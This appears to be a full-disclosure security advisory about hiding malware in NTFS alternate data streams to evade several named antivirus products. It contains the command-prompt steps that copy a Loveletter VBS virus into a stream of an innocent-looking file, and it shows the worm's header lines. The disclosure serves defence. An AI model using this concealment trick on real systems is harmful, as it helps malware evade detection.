Hi to all!
Because it isn't a new problem and is well known by virus and spyware
writters I decide to release to the public now. Full disclosure.
Attached goes a simple paper that describes this "very-advanced"
technique that was applicable at 1993 and is currently applicable.
Regards,
Joxean Koret
Disclaimer
----------
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.
I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
---------------------------------------------------------------------------
Contact
-------
Joxean Koret at joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es
Multiple Vendor NTFS Data Stream Malware Stealth Technique
----------------------------------------------------------
Affected product/vendors:
Panda Software. All products.
ClamWin. All versions.
Norman Virus Control. All versions.
AVG Antivirus.
Non-affected vendors:
Mcaffe / Computer Associates
Avira Antivir PersonalEdition Classic
Technique Description
----------------------
It isn't in any way a new technique, the first proof of concept of
hidding malware into an NTFS
data stream was published at 2000. Apparently the technique wasn't so popular
and due to this fact
the 75% (or more) of the anti-virus industry have been ignore it.
The technique is as simple as follow. Download a virus file, even an
old one. Call it, in example,
'iloveyou.vbs'. Next, go to a command prompt:
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C:\>echo I'm an inocent file. > file.txt
C:\>type file.txt
I'm an inocent file.
C:\>dir
Volume in drive C has no label.
Volume Serial Number is 8475-DDEF
Directory of C:\
06/03/2006 01:10 <DIR> Documents and Settings
03/06/2006 05:10 23 file.txt
03/06/2006 04:52 10.320 iloveyou.txt
03/06/2006 04:52 10.320 iloveyou.vbs
26/12/2005 00:51 <DIR> Inetpub
03/06/2006 05:09 <DIR> Program Files
29/05/2006 23:24 12 test1.vbs
03/06/2006 05:06 <DIR> WINNT
4 File(s) 20.675 bytes
4 Dir(s) 2.539.368.448 bytes free
C:\>type iloveyou.vbs > file.txt:virus.vbs
C:\>type file.txt
I'm an inocent file.
C:\>more < file.txt:virus.vbs
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@xxxxxxxx / @GRAMMERSoft Group /
(...)
---More---
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Now, try scanning your system with your preferred vulnerable antivirus
product. The first file in a
normal data stream 'iloveyou.vbs' will (surely) be detected but not the copy of
it stored in an alternate
data stream of the apparently innocent file c:\file.txt.
Disclaimer
----------
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.
I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
---------------------------------------------------------------------------
Contact
-------
Joxean Koret at joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es
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